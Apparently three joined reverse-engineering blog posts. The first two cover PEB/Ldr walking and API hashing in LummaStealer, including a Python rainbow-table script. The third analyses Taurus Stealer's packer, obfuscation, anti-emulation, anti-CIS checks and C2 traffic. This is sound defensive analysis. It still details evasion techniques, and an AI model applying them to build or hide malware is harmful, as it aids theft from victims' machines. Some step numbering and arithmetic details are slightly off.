The PEB is a crucial data structure that contains various information about a running process. Unlike other Windows structure (e.g., EPROCESS, ETHREAD, etc..), it exists in the user address space and is available for every process at a fixed address in memory (PEB can be found at fs:[0x30] in the Thread Environment Block (TEB) for x86 processes as well as at gs:[0x60] for x64 processes). Some of documented fields that it’s worth knowing are:
BeingDebugged: Whether the process is being debugged;
Ldr: A pointer to a PEB_LDR_DATA structure providing information about loaded modules;
ProcessParameters: A pointer to a RTL_USER_PROCESS_PARAMETERS structure providing information about process startup parameters;
PostProcessInitRoutine: A pointer to a callback function called after DLL initialization but before the main executable code is invoked
Image Loader aka Ldr
When a process is started on the system, the kernel creates a process object to represent it and performs various kernel-related initialization tasks. However, these tasks do not result in the execution of the application, but in the preparation of its context and environment. This work is performed by the image loader (Ldr).
The loader is responsible for several main tasks, including:
Parsing the import address table (IAT) of the application to look for all DLLs that it requires (and then recursively parsing the IAT of each DLL), followed by parsing the export table of the DLLs to make sure the function is actually present.
Loading and unloading DLLs at runtime, as well as on demand, and maintaining a list of all loaded modules (the module database).
Figure 1: PEB, LDR_DATA and LDR_MODULE interactions
At first glance, these structures might seem a little bit confusing. However, let’s simplify them to make them more understandable. We could think about them as a list where the structure PEB_LDR_DATA is the head of the list and each module information is accessed through a double linked list (InOrderLoaderModuleList in this case) that points to LDR_MODULE.
How those structures are abused
Most of the times when we see PEB and LDR_MODULE structure parsing we are dealing with malwares that are potentially using API Hashing technique. Shellcode will typically walk through those structures in order to find the base address of loaded dlls and extract all their exported functions, collecting names and pointers to the functions that are intended to call, avoiding to leave direct reference of them within the malware file.
This is a simple trick that tries to evade some basic protections mechanism that could arise when we see clear references to malware-related functions such as: VirtualAlloc, VirtualProtect, CreateProcessInterW, ResumeThread, etc…
API Hashing
By employing API hashing, malware creators can ensure that specific Windows APIs remain hidden from casual observation. Through this approach, malware developers try to add an extra layer of complexity by concealing suspicious Windows API calls within the Import Address Table (IAT) of PE.
API hashing technique is pretty straightforward and it could be divided in three main steps:
Malware developers prepare a set of hashes corresponding to WINAPI functions.
When an API needs to be called, it looks for loaded modules through the PEB.Ldr structure.
Then, when a module is find, it goes through all the functions performing the hash function until the result matches with the given input.
Figure 2: API Hashing Overview
Now that we have a more understanding of the basic concepts related to API hashing, PEB and Ldr structures, let’s try to put them in practice using LummaStealer as an example.
Parsing PEB and LDR with LummaStealer
Opening up the sample in IDA and scrolling a little after the main function it is possible to bump into very interesting functions that perform some actions on a couple of parameters that are quite interesting and correlated to explanation so far.
Figure 3: Wrapper function for hash resolving routine in LummaStealer
Before function call sub_4082D3 (highlighted) we could see some mov operation of two values:
mov edx, aKernel32Dll_0
...
mov ecx, 0x7328f505
NASM
Those parameters are quite interesting because:
The former represents an interesting dll that contains some useful functions such as LoadLibrary, VirtualAlloc, etc..
The latter appears to be a hash (maybe correlated to the previous string).
If we would like to make an educated guess, it is possible that this function is going to find a function (within kernel32.dll) whose hash corresponds to the input hash. However, let’s try to understand if and how those parameters are manipulated in the function call, validating also our idea.
Figure 4: Parsing PEB and LDR_MODULE for API hash routine.
Through Figure 6, you can see the exact same code, before (left side) and after (right side) renaming structures. Examining the code a little bit we should be able to recall the concepts already explained in the previous sections.
Let’s examine the first block of code. Starting from the top of the code we could spot the instruction mov eax, (large)fs:30h that is going to collect the PEB pointer, storing its value in eax. Then, right after this instruction we could see eaxused with an offset(0xC). In order to understand what is going on, its possible to collect the PEB structure and look for the 0xC offset. Doing that, it’s clear that eax is going to collect the Ldr pointer. The last instruction of the first block is mov edi, [eax+10h] . This is a crucial instruction that needs a dedicated explanation:
If you are going to look at PEB_LDR_DATA you will see that 0x10 offset (for x64 bit architecture) points to InLoadOrderModuleList (that contains, according to its description, pointers to previous and next LDR_MODULE in initialization order). Through this instruction, malware is going to take a LDR_MODULE structure (as explained in Figure 3), settling all the requirements to parse it.
Without going too deep in the code containing the loop (this could be left as an exercise), it is possible to see that the next three blocks are going to find the kernel32.dll iterating over the LDR_MODULE structure parameters.
At the very end of the code, we could see the last block calling a function using the dll pointers retrieved through the loop, using another hash value. This behavior give us another chance for a couple of insight:
This code is a candidate to settle all parameters that are going to be used for API hash resolving routine (as illustrated in the API Hashing section), since that its output will be used as a function call.
The string kernel32.dll gave us some hints about possible candidate functions (e.g., LoadLibraryA, VirtualAlloc, etc..).
With this last consideration, it’s time to conclude this post avoiding adding more layers of complexity, losing our focus on PEB and related structures.
Function recap
Before concluding, let’s try to sum up, what we have seen so far, in order to make the analysis even more clear:
The function 4082D3 takes two parameters that are a hash value and a string containing a dll library.
Iterating over the loaded modules, it looks for the module name containing the hardcoded kernel32.dll.
Once the module is found, it invokes another function (40832A), passing a pointer to the base address of the module and a hash value.
The function returns a pointer to a function that takes as an argument the dll name passed to 4082D3. This behavior suggests that some sort of LoadLibrary has been resolved on point 3.
As a final step, the function 40832A is called once again, using the hash value passed as a parameter in the function 4082D3 and a base address retrieved from the point 4.
Following all the steps it’s easy to spot that the 40832A function is the actual API hash resolving routine and the function 4082D3 has been used to settle all the required variables.
Conclusion
Through this blog post I tried to explain a little bit better how the PEB and related structures are parsed and abused by malwares. However, I also tried to show how malware analysis could be carried out examining the code and renaming structures accordingly. This brief introduction will be also used as a starting point for the next article where I would like to take the same sample and emulate the API hashing routine in order to resolve all hashes, making this sample ready to be analyzed.
Note about simplification
It’s worth mentioning that to make those steps easier, there has been a simplification. In fact, PEB_LDR_DATA contains three different structures that could be used to navigate modules, but for this blogpost, their use could be ignored. Another structure that is worth mentioning it’s LDR_DATA_TABLE_ENTRY that could be considered a corresponding to the LDR_MODULE structure.
Understanding PEB and Ldr structures represents a starting point when we are dealing with API hashing. However, before proceeding to analyze a sample it’s always necessary to recover obfuscated, encrypted or hashed data. Because of that, through this blogpost I would like to continue what I have started in the previous post, using emulation to create a rainbow table for LummaStealer and then write a little resolver script that is going to use the information extracted to resolve all hashes.
💡It’s worth mentioning that I’m trying to create self-contained posts. Of course, previous information will give a more comprehensive understanding of the whole process, however, the goal for this post is to have a guide that could be applied overtime even on different samples not related to LummaStealer.
Resolving Hashes
Starting from where we left in the last post, we could explore the function routine that is in charge of collecting function names from a DLL and then perform a hashing algorithm to find a match with the input name.
Figure 1: LummaStealer API Hashing overview
At the first glance, this function could be disorienting, however, understanding that ecx contains the module BaseAddress (explained in the previous article) it is possible to set a comment that is going to make the whole function easier to understand. Moreover, it has been also divided in three main parts( first two are going to be detailed in the next sections):
Collecting exported function within a PE file;
Hashing routine;
Compare hashing result until a match is found, otherwise return 0; (skipped because of a simple comparing routine)
Collecting exported function within a PE file
The first box starts with the instruction mov edi, ecx where ecx is a BaseAddress of a module that is going to be analyzed. This is a fundamental instruction that gives us a chance to infere the subsequent value of edi and ebx. In fact, if we rename values associated to these registers, it should be clear that this code is going to collect exported functions names through AddressOfNames and AddressOfNameOrdinals pointers.
Figure 2: Resolving structures names
Those structures are very important in order to understand what is happening in the code. For now, you could think about those structures as support structures that could be chained together in order to collect the actual function pointer (after a match is found!) within the Address of a Function structure.
💡 At the end of this article I created a dedicated sections to explain those structures and their connections.
Another step that could misleading is related to the following instruction:
where ebx becomes a pointer for IMAGE_EXPORT_DIRECTORY.
In order to explain this instruction its useful to have a look at IMAGE_OPTIONAL_HEADERS documentation, where Microsoft states that DataDirectory is pointer to a dedicated structure called IMAGE_DATA_DIRECTORY that could be addressed through a number.
With that information let’s do some math unveiling the magic behind this assignment.
eax corresponds to the IMAGE_NT_HEADERS (because of its previous assignment)
From there we have a 0x78 offset to sum. If we sum the first 18 bytes from eax, it’s possible to jump to the IMAGE_OPTIONAL_HEADER. Using the 60 bytes remaining to reach the next field within this structure, we could see that we are directly pointing to DataDirectory.
From here, we don’t have additional bytes to sum, it means that we are pointing to the first structure pointed by DataDirectory, that is, according to the documentation the IMAGE_DIRECTORY_ENTRY_EXPORT also known as Export Directory.
💡 See Reference section to find out a more clear image about the whole PE structure
Retrieve the function pointer
Once the code in charge to collect and compare exported functions has been completed, and a match is found, it’s time to retrieve the actual function pointer using some of the structures mentioned above. In fact, as you can see from the code related to the third box (that has been renamed accordingly), once the match if found, the structure AddressOfNameOrdinals it’s used to retrieve the functions number that is going to address the structure AddressOfFunctions that contains the actual function pointers.
Figure 3: Collect the actual function pointer
💡I don’t want to bother you with so much details at this point, since we have already analyzed throughly some structures and we still have additional contents to discuss. However, the image above has been thought to be self-contained. That said, to not get lost please remember that edi represents the Ldr_Module.BaseAddress
Analyze the hashing routine
Through the information collected so far, this code should be childishly simple.
ecx contains the hash name extracted from the export table that is going to forward as input to the hash function (identified, in this case, as murmur2). The function itself is quite long but does not take too much time to be understood and reimplemented. However, the purpose of this article is to emulate this code in order to find out the values of all hardcoded hashes.
Figure 4: MurMur2 hashing routine
As we have already done, we could select the function opcodes (without the return instruction) and put them in our code emulator routine. It’s worth mentioning that, ecx contains the function name that is going to be used as argument for hashing routine, because of that, it’s important to assign that register properly.
Let’s take a test. Using the LoadLibraryW name, we get back 0xab87776c. If we explore a little bit our code, we will find almost immediately this value! it is called each time a new hash needs to be resolved.
Figure 5: LoadLibraryW Hash
This behavior is a clear indication that before proceeding to extract exported functions, we need to load the associated library (DLL) in memory. With that information we could be sure that our emulator works fine.
Build a rainbow table
Building a rainbow table can be done in a few lines of code:
filter = ['ntdll.dll']
def get_all_export_function_from_dlls():
exported_func = {}
for dirpath, dirnames, filenames in os.walk("C:\\Windows\\System32"):
for filename in [f for f in filenames if f in filter]:
path_to_dll = os.path.join(dirpath, filename)
pe = pefile.PE(path_to_dll)
for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if not export.name:
continue
else:
exported_func[hex(MurMurHash2(export.name))] = export.name
return exported_func
Python
The code presented above should be pretty clear, however, I would like to point out the role of the filter variable. Emulation brings a lot of advantages to reverse engineering, nevertheless, it also has a drawback related to performance. In fact, code that contains an emulation routine could be tremendously slow, and if you don’t pay attention it could take forever. Using a filter variable keeps our code more flexible, resolving tailored functions names without wasting time.
💡Of course, in this case we could look for libraries names used within the code. However, we could not be so lucky in the future. Because of that, I prefer to show a way that could be used in multiple situations.
Automation
Now that we have built almost all fundamental components, it’s time to combine everything in a single and effective script file. What we are still missing is a regular expression that is going to look for hashes and forward them to the MurMur2 emulator.
Observing the code, an easy pattern to follow involves a register and an immediate values:
mov REG, IMM
NASM
Implementing this strategy and filtering results only on kernel32.dll, we are able to extract all referenced hashes:
Figure 6: Some hashes related to Kernel32.dll
Conclusion
As always, going deep in each section requires an entire course and at the moment it’s an impossible challenge. However, through this blog post I tried to scratch the surface giving some essential concepts (that could be applied straightaway) to make reversing time a lot more fun.
Another important thing to highlight here, is related to combine emulation and scripting techniques. Emulation is great, however, writing a script that contains some emulated routine could be a challenging task if we think about efficiency. Writing a single script for a single sample its not a big deal and it won’t have a great impact in a single analysis, however, doing it a scale is a different kettle of fish.
That said, it’s time to conclude, otherwise, even reading this post could be a challenging task! 🙂
Have fun and keep reversing!
Bonus
In order to understand how API Hashing works it’s very useful to make your hand dirty on low level components. However, once you have some experience, it is also very helpful to have some tools that speed up your analysis. An amazing project is HashDB maintained by OALabs. It is a simple and effective plugin for IDA and Binary Ninja that is going to resolve hashes, if the routine is implemented. If you want to try out this plugin for this LummaStealer sample, my pull request has already been merged 😉
Appendix 1 – AddressOfNames
The algorithm to retrieve the RVA associated to a function is quite straightforward:
Iterate over the AddressOfNames structures.
Once you find a match with a specific function, suppose at i position, the loader is going to use index i to address the structure AddressOfNamesOrdinals.
k = AddressOfNamesOrdinals[i]
After collecting the value stored in AddressOfNamesOrdinals (2.a) we could use that value to address AddressOfFunctions, collecting the actual RVA of the function we were looking for.
function_rva = AddressOfFunctions[k]
Figure 7: How to retrieve functions names and pointers
💡If you want to experiment a little bit more with this concept, I suggest to take the kernel32.dll library and follows this algorithm using PE-Bear
Taurus Stealer, also known as Taurus or Taurus Project, is a C/C++ information stealing malware that has been in the wild since April 2020. The initial attack vector usually starts with a malspam campaign that distributes a malicious attachment, although it has also been seen being delivered by the Fallout Exploit Kit. It has many similarities with Predator The Thief at different levels (load of initial configuration, similar obfuscation techniques, functionalities, overall execution flow, etc.) and this is why this threat is sometimes misclassified by Sandboxes and security products. However, it is worth mentioning that Taurus Stealer has gone through multiple updates in a short period and is actively being used in the wild. Most of the changes from earlier Taurus Stealer versions are related to the networking functionality of the malware, although other changes in the obfuscation methods have been made. In the following pages, we will analyze in-depth how this new Taurus Stealer version works and compare its main changes with previous implementations of the malware.
Underground information
The malware appears to have been developed by the author that created Predator The Thief, “Alexuiop1337”, as it was promoted on their Telegram channel and Russian-language underground forums, though they claimed it has no connection to Taurus. Taurus Stealer is advertised by the threat actor “Taurus Seller” (sometimes under the alias “Taurus_Seller”), who has a presence on a variety of Russian-language underground forums where this threat is primarily sold. The following figure shows an example of this threat actor in their post on one of the said forums:
Figure 1. Taurus Seller post in underground forums selling Taurus Stealer
The initial description of the ad (translated by Google) says:
Stiller is written in C ++ (c ++ 17), has no dependencies (.NET Framework / CRT, etc.).
The traffic between the panel and the build is encrypted each time with a unique key.
Support for one backup domain (specified when requesting a build).
Weight: 250 KB (without obfuscation 130 KB).
The build does not work in the CIS countries.
Taurus Stealer sales began in April 2020. The malware is inexpensive and easily acquirable. Its price has fluctuated somewhat since its debut. It also offers temporal discounts (20% discount on the eve of the new year 2021, for example). At the time of writing this analysis, the prices are:
Concept
Price
License Cost – (lifetime)
150 $
Upgrade Cost
0 $
Table 1. Taurus Stealer prices at the time writing this analysis
The group has on at least one occasion given prior clients the upgraded version of the malware for free. As of January 21, 2021, the group only accepts payment in the privacy-centric cryptocurrency Monero. The seller also explains that the license will be lost forever if any of these rules are violated (ad translated by Google):
It is forbidden to scan the build on VirusTotal and similar merging scanners
It is forbidden to distribute and test a build without a crypt
It is forbidden to transfer project files to third parties
It is forbidden to insult the project, customers, seller, coder
This explains why most of Taurus Stealer samples found come packed.
Packer
The malware that is going to be analyzed during these lines comes from the packed sample 2fae828f5ad2d703f5adfacde1d21a1693510754e5871768aea159bbc6ad9775, which we had successfully detected and classified as Taurus Stealer. However, it showed some different behavior and networking activity, which suggested a new version of the malware had been developed. The first component of the sample is the Packer. This is the outer layer of Taurus Stealer and its goal is to hide the malicious payload and transfer execution to it in runtime. In this case, it will accomplish its purpose without the need to create another process in the system. The packer is written in C++ and its architecture consists of 3 different layers, we will describe here the steps the malware takes to execute the payload through these different stages and the techniques used to and slow-down analysis.
Layer 1 The first layer of the Packer makes use of junk code and useless loops to avoid analysis and prevent detonation in automated analysis systems. In the end, it will be responsible for executing the following essential tasks:
Allocating space for the Shellcode in the process’s address space
Writing the encrypted Shellcode in this newly allocated space.
Decrypting the Shellcode
Transferring execution to the Shellcode
The initial WinMain() method acts as a wrapper using junk code to finally call the actual “main” procedure. Memory for the Shellcode is reserved using VirtualAlloc and its size appears hardcoded and obfuscated using an ADD instruction. The pages are reserved with read, write and execute permissions (PAGE_EXECUTE_READWRITE).
Figure 3. Memory allocation for the Shellcode
We can find the use of junk code almost anywhere in this first layer, as well as useless long loops that may prevent the sample from detonating if it is being emulated or analyzed in simple dynamic analysis Sandboxes. The next step is to load the Shellcode in the allocated space. The packer also has some hardcoded offsets pointing to the encrypted Shellcode and copies it in a loop, byte for byte. The following figure shows the core logic of this layer. The red boxes show junk code whilst the green boxes show the main functionality to get to the next layer.
Figure 4. Core functionality of the first layer
The Shellcode is decrypted using a 32 byte key in blocks of 8 bytes. The decryption algorithm uses this key and the encrypted block to perform arithmetic and byte-shift operations using XOR, ADD, SUB, SHL and SHR. Once the Shellcode is ready, it transfers the execution to it using JMP EAX, which leads us to the second layer.
Figure 5. Layer 1 transferring execution to next layer
Layer 2 Layer 2 is a Shellcode with the ultimate task of decrypting another layer. This is not a straightforward process, an overview of which can be summarized in the following points:
Shellcode starts in a wrapper function that calls the main procedure.
Resolve LoadLibraryA and GetProcAddress from kernel32.dll
Load pointers to .dll functions
Decrypt layer 3
Allocate decrypted layer
Transfer execution using JMP
Finding DLLs and Functions This layer will use the TIB (Thread Information Block) to find the PEB (Process Environment Block) structure, which holds a pointer to a PEB_LDR_DATA structure. This structure contains information about all the loaded modules in the current process. More precisely, it traverses the InLoadOrderModuleList and gets the BaseDllName from every loaded module, hashes it with a custom hashing function and compares it with the respective “kernel32.dll” hash.
Figure 6. Traversing InLoadOrderModuleList and hashing BaseDllName.Buffer to find kernel32.dll
Once it finds “kernel32.dll” in this doubly linked list, it gets its DllBase address and loads the Export Table. It will then use the AddressOfNames and AddressOfNameOrdinals lists to find the procedure it needs. It uses the same technique by checking for the respective “LoadLibraryA” and “GetProcAddress” hashes. Once it finds the ordinal that refers to the function, it uses this index to get the address of the function using AddressOfFunctions list.
Figure 7. Resolving function address using the ordinal as an index to AddressOfFunctions list
The hashing function being used to identify the library and function names is custom and uses a parameter that makes it support both ASCII and UNICODE names. It will first use UNICODE hashing when parsing InLoadOrderModuleList (as it loads UNICODE_STRINGDllBase) and ASCII when accessing the AddressOfNames list from the Export Directory.
Figure 8. Custom hashing function from Layer 2 supporting both ASCII and UNICODE encodings
Once the malware has resolved LoadLibraryA and GetProcAddress from kernel32.dll, it will then use these functions to resolve more necessary APIs and save them in a “Function Table”. To resolve them, it relies on loading strings in the stack before the call to GetProcAddress. The API calls being resolved are:
GlobalAlloc
GetLastError
Sleep
VirtualAlloc
CreateToolhelp32Snapshot
Module32First
CloseHandle
Figure 9. Layer 2 resolving functions dynamically for later use
Decryption of Layer 3 After resolving .dlls and the functions it enters in the following procedure, responsible of preparing the next stage, allocating space for it and transferring its execution through a JMP instruction.
Figure 10. Decryption and execution of Layer 3 (final layer)
Layer 3 This is the last layer before having the unpacked Taurus Stealer. This last phase is very similar to the previous one but surprisingly less stealthy (the use of hashes to find .dlls and API calls has been removed) now strings stored in the stack, and string comparisons, are used instead. However, some previously unseen new features have been added to this stage, such as anti-emulation checks. This is how it looks the beginning of this last layer. The value at the address 0x00200038 is now empty but will be overwritten later with the OEP (Original Entry Point). When calling unpack the first instruction will execute POP EAX to get the address of the OEP, check whether it is already set and jump accordingly. If not, it will start the final unpacking process and then a JMP EAX will transfer execution to the final Taurus Stealer.
Figure 11. OEP is set. Last Layer before and after the unpacking process.
Finding DLLs and Functions As in the 2nd layer, it will parse the PEB to find DllBase of kernel32.dll walking through InLoadOrderModuleList, and then parse kernel32.dll Exports Directory to find the address of LoadLibraryA and GetProcAddress. This process is very similar to the one seen in the previous layer, but names are stored in the stack instead of using a custom hash function.
Figure 12. Last layer finding APIs by name stored in the stack instead of using the hashing approach
Once it has access to LoadLibraryA and GetProcAddressA it will start resolving needed API calls. It will do so by storing strings in the stack and storing the function addresses in memory. The functions being resolved are:
VirtualAlloc
VirtualProtect
VirtualFree
GetVersionExA
TerminateProcess
ExitProcess
SetErrorMode
Figure 13. Last Layer dynamically resolving APIs before the final unpack
Anti-Emulation After resolving these API calls, it enters in a function that will prevent the malware from detonating if it is being executed in an emulated environment. We‘ve named this function anti_emulation. It uses a common environment-based opaque predicate calling SetErrorMode API call.
Figure 14. Anti-Emulation technique used before transferring execution to the final Taurus Stealer
This technique has been previously documented. The code calls SetErrorMode() with a known value (1024) and then calls it again with a different one. SetErrorMode returns the previous state of the error-mode bit flags. An emulator not implementing this functionality properly (saving the previous state), would not behave as expected and would finish execution at this point. Transfer execution to Taurus Stealer After this, the packer will allocate memory to copy the clean Taurus Stealer process in, parse its PE (more precisely its Import Table) and load all the necessary imported functions. As previously stated, during this process the offset 0x00200038 from earlier will be overwritten with the OEP (Original Entry Point). Finally, execution gets transferred to the unpacked Taurus Stealer via JMP EAX.
Figure 15. Layer 3 transferring execution to the final unpacked Taurus Stealer
We can dump the unpacked Taurus Stealer from memory (for example after copying the clean Taurus process, before the call to VirtualFree). We will focus the analysis on the unpacked sample with hash d6987aa833d85ccf8da6527374c040c02e8dfbdd8e4e4f3a66635e81b1c265c8.
Taurus Stealer (Unpacked)
The following figure shows Taurus Stealer’s main workflow. Its life cycle is not very different from other malware stealers. However, it is worth mentioning that the Anti-CIS feature (avoid infecting machines coming from the Commonwealth of Independent States) is not optional and is the first feature being executed in the malware.
Figure 16. Taurus Stealer main workflow
After loading its initial configuration (which includes resolving APIs, Command and Control server, Build Id, etc.), it will go through two checks that prevent the malware from detonating if it is running in a machine coming from the Commonwealth of Independent States (CIS) and if it has a modified C2 (probably to avoid detonating on cracked builds). These two initial checks are mandatory. After passing the initial checks, it will establish communication with its C2 and retrieve dynamic configuration (or a static default one if the C2 is not available) and execute the functionalities accordingly before exfiltration. After exfiltration, two functionalities are left: Loader and Self-Delete (both optional). Following this, a clean-up routine will be responsible for deleting strings from memory before finishing execution. Code Obfuscation Taurus Stealer makes heavy use of code obfuscation techniques throughout its execution, which translates to a lot of code for every little task the malware might perform. Taurus string obfuscation is done in an attempt to hide traces and functionality from static tools and to slow down analysis. Although these techniques are not complex, there is almost no single relevant string in cleartext. We will mostly find:
XOR encrypted strings
SUB encrypted strings
XOR encrypted strings We can find encrypted strings being loaded in the stack and decrypted just before its use. Taurus usually sets an initial hardcoded XOR key to start decrypting the string and then decrypts it in a loop. There are different variations of this routine. Sometimes there is only one hardcoded key, whilst other times there is one initial key that decrypts the first byte of the string, which is used as the rest of the XOR key, etc. The following figure shows the decryption of the string “\Monero” (used in the stealing process). We can see that the initial key is set with ‘PUSH + POP’ and then the same key is used to decrypt the whole string byte per byte. Other approaches use strcpy to load the initial encrypted string directly, for instance.
Figure 17. Example of “\Monero” XOR encrypted string
SUB encrypted strings This is the same approach as with XOR encrypted strings, except for the fact that the decryption is done with subtraction operations. There are different variations of this technique, but all follow the same idea. In the following example, the SUB key is found at the beginning of the encrypted string and decryption starts after the first byte.
Figure 18. Example of “DisplayVersion” SUB encrypted string
Earlier Taurus versions made use of stack strings to hide strings (which can make code blocks look very long). However, this method has been completely removed by the XOR and SUB encryption schemes – probably because these methods do not show the clear strings unless decryption is performed or analysis is done dynamically. Comparatively, in stack strings, one can see the clear string byte per byte. Here is an example of such a replacement from an earlier Taurus sample, when resolving the string “wallet.dat” for DashCore wallet retrieval purposes. This is now done via XOR encryption:
Figure 19. Stack strings are replaced by XOR and SUB encrypted strings
The combination of these obfuscation techniques leads to a lot of unnecessary loops that slow down analysis and hide functionality from static tools. As a result, the graph view of the core malware looks like this:
Resolving APIs The malware will resolve its API calls dynamically using hashes. It will first resolve LoadLibraryA and GetProcAddress from kernel32.dll to ease the resolution of further API calls. It does so by accessing the PEB of the process – more precisely to access the DllBase property of the third element from the InLoadOrderModuleList (which happens to be “kernel32.dll”) – and then use this address to walk through the Export Directory information.
Figure 21. Retrieving kernel32.dll DllBase by accessing the 3rd entry in the InLoadOrderModuleList list
It will iterate kernel32.dllAddressOfNames structure and compute a hash for every exported function until the corresponding hash for “LoadLibraryA” is found. The same process is repeated for the “GetProcAddress” API call. Once both procedures are resolved, they are saved for future resolution of API calls.
Figure 22. Taurus Stealer iterates AddressOfNames to find an API using a hashing approach
For further API resolutions, a “DLL Table String” is used to index the library needed to load an exported function and then the hash of the needed API call.
Figure 23. DLL Table String used in API resolutions
Resolving initial Configuration Just as with Predator The Thief, Taurus Stealer will load its initial configuration in a table of function pointers before the execution of the WinMain() function. These functions are executed in order and are responsible for loading the C2, Build Id and the Bot Id/UUID. C2 and Build Id are resolved using the SUB encryption scheme with a one-byte key. The loop uses a hard-coded length, (the size in bytes of the C2 and Build Id), which means that this has been pre-processed beforehand (probably by the builder) and that these procedures would work for only these properties.
Figure 24. Taurus Stealer decrypting its Command and Control server
BOT ID / UUID Generation Taurus generates a unique identifier for every infected machine. Earlier versions of this malware also used this identifier as the .zip filename containing the stolen data. This behavior has been modified and now the .zip filename is randomly generated (16 random ASCII characters).
Figure 25. Call graph from the Bot Id / UUID generation routine
It starts by getting a bitmask of all the currently available disk drives using GetLogicalDrivers and retrieving their VolumeSerialNumber with GetVolumeInformationA. All these values are added into the register ESI (holds the sum of all VolumeSerialNumbers from all available Drive Letters). ESI is then added to itself and right-shifted 3 bytes. The result is a hexadecimal value that is converted to decimal. After all this process, it takes out the first two digits from the result and concatenates its full original part at the beginning. The last step consists of transforming digits in odd positions to ASCII letters (by adding 0x40). As an example, let’s imagine an infected machine with “C:\\”, “D:\\” and “Z:\\” drive letters available.
1. Call GetLogicalDrivers to get a bitmask of all the currently available disk drives.
2. Get their VolumeSerialNumber using GetVolumeInformationA: ESI holds the sum of all VolumeSerialNumber from all available Drive Letters GetVolumeInformationA(“C:\\”) -> 7CCD8A24h GetVolumeInformationA(“D:\\”) -> 25EBDC39h GetVolumeInformationA(“Z:\\”) -> 0FE01h ESI = sum(0x7CCD8A24+0x25EBDC3+0x0FE01) = 0xA2BA645E
3. Once finished the sum, it will: mov edx, esi edx = (edx >> 3) + edx Which translates to: (0xa2ba645e >> 0x3) + 0xa2ba645e = 0xb711b0e9
4. HEX convert the result to decimal result = hex(0xb711b0e9) = 3071389929
5. Take out the first two digits and concatenate its full original part at the beginning: 307138992971389929
6. Finally, it transforms digits in odd positions to ASCII letters: s0w1s8y9r9w1s8y9r9
Anti – CIS
Taurus Stealer tries to avoid infection in countries belonging to the Commonwealth of Independent States (CIS) by checking the language identifier of the infected machine via GetUserDefaultLangID. Earlier Taurus Stealer versions used to have this functionality in a separate function, whereas the latest samples include this in the main procedure of the malware. It is worth mentioning that this feature is mandatory and will be executed at the beginning of the malware execution.
Figure 26. Taurus Stealer Anti-CIS feature
GetUserDefaultLandID returns the language identifier of the Region Format setting for the current user. If it matches one on the list, it will finish execution immediately without causing any harm.
Language Id
SubLanguage Symbol
Country
0x419
SUBLANG_RUSSIAN_RUSSIA
Russia
0x42B
SUBLANG_ARMENIAN_ARMENIA
Armenia
0x423
SUBLANG_BELARUSIAN_BELARUS
Belarus
0x437
SUBLANG_GEORGIAN_GEORGIA
Georgia
0x43F
SUBLANG_KAZAK_KAZAKHSTAN
Kazakhstan
0x428
SUBLANG_TAJIK_TAJIKISTAN
Tajikistan
0x843
SUBLANG_UZBEK_CYRILLIC
Uzbekistan
0x422
SUBLANG_UKRAINIAN_UKRAINE
Ukraine
Table 2. Taurus Stealer Language Id whitelist (Anti-CIS)
Anti – C2 Mod. After the Anti-CIS feature has taken place, and before any harmful activity occurs, the retrieved C2 is checked against a hashing function to avoid running with an invalid or modified Command and Control server. This hashing function is the same used to resolve API calls and is as follows:
Figure 27. Taurus Stealer hashing function
Earlier taurus versions make use of the same hashing algorithm, except they execute two loops instead of one. If the hash of the C2 is not matching the expected one, it will avoid performing any malicious activity. This is most probably done to protect the binary from cracked versions and to avoid leaving traces or uncovering activity if the sample has been modified for analysis purposes.
C2 Communication
Perhaps the biggest change in this new Taurus Stealer version is how the communications with the Command and Control Server are managed. Earlier versions used two main resources to make requests:
Resource
Description
/gate/cfg/?post=1&data=<bot_id>
Register Bot Id and get dynamic config. Everything is sent in cleartext
/gate/log?post=2&data=<summary_information>
Exfiltrate data in ZIP (cleartext) summary_information is encrypted
Table 3. Networking resources from earlier Taurus versions
his new Taurus Stealer version uses:
Resource
Description
/cfg/
Register Bot Id and get dynamic config. BotId is sent encrypted
/dlls/
Ask for necessary .dlls (Browsers Grabbing)
/log/
Exfiltrate data in ZIP (encrypted)
/loader/complete/
ACK execution of Loader module
Table 4. Networking resources from new Taurus samples
This time no data is sent in cleartext. Taurus Stealer uses wininet APIs InternetOpenA, InternetSetOptionA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile and InternetCloseHandle for its networking functionalities.
The way Taurus generates the User-Agent that it will use for networking purposes is different from earlier versions and has introduced more steps in its creation, ending up in more variable results. This routine follows the next steps:
1. It will first get OS Major Version and OS Minor Version information from the PEB. In this example, we will let OS Major Version be 6 and OS Minor Version be 1.
1.1 Read TIB[0x30] -> PEB[0x0A] -> OS Major Version -> 6
1.2 Read PEB[0xA4] -> OS Minor Version -> 1
2. Call to IsWow64Process to know if the process is running under WOW64 (this will be needed later).
3. Decrypt string “.121 Safari/537.36”
4. Call GetTickCount and store result in EAX (for this example: EAX = 0x0540790F)
8. Check the result from the previous call to IsWow64Process and store it for later.
8.1 If the process is running under WOW64: Decrypt the string “ WOW64)”
8.2 If the process is not running under WOW64: Load char “)” In this example we will assume the process is running under WOW64.
9. Transform from HEX to decimal OS Minor Version (“1”)
10. Transform from HEX to decimal OS Major Version (“6”)
11. Decrypt string “Mozilla/5.0 (Windows NT ”
12. Append OS Major Version -> “Mozilla/5.0 (Windows NT 6”
13. Append ‘.’ (hardcoded) -> “Mozilla/5.0 (Windows NT 6.”
14. Append OS Minor Version -> “Mozilla/5.0 (Windows NT 6.1”
15. Append ‘;’ (hardcoded) -> “Mozilla/5.0 (Windows NT 6.1;”
16. Append the WOW64 modifier explained before -> “Mozilla/5.0 (Windows NT 6.1; WOW64)”
17. Append string “ AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.” -> “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.”
18. Append result of from the earlier GetTickCount (1375 after its processing) -> “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.1375”
19. Append the string “.121 Safari/537.36” to get the final result:
“Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.1375.121 Safari/537.36”
Which would have looked like this if the process was not running under WOW64:
“Mozilla/5.0 (Windows NT 6.1;) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.1375.121 Safari/537.36”
The bold characters from the generated User-Agent are the ones that could vary depending on the OS versions, if the machine is running under WOW64 and the result of GetTickCount call.
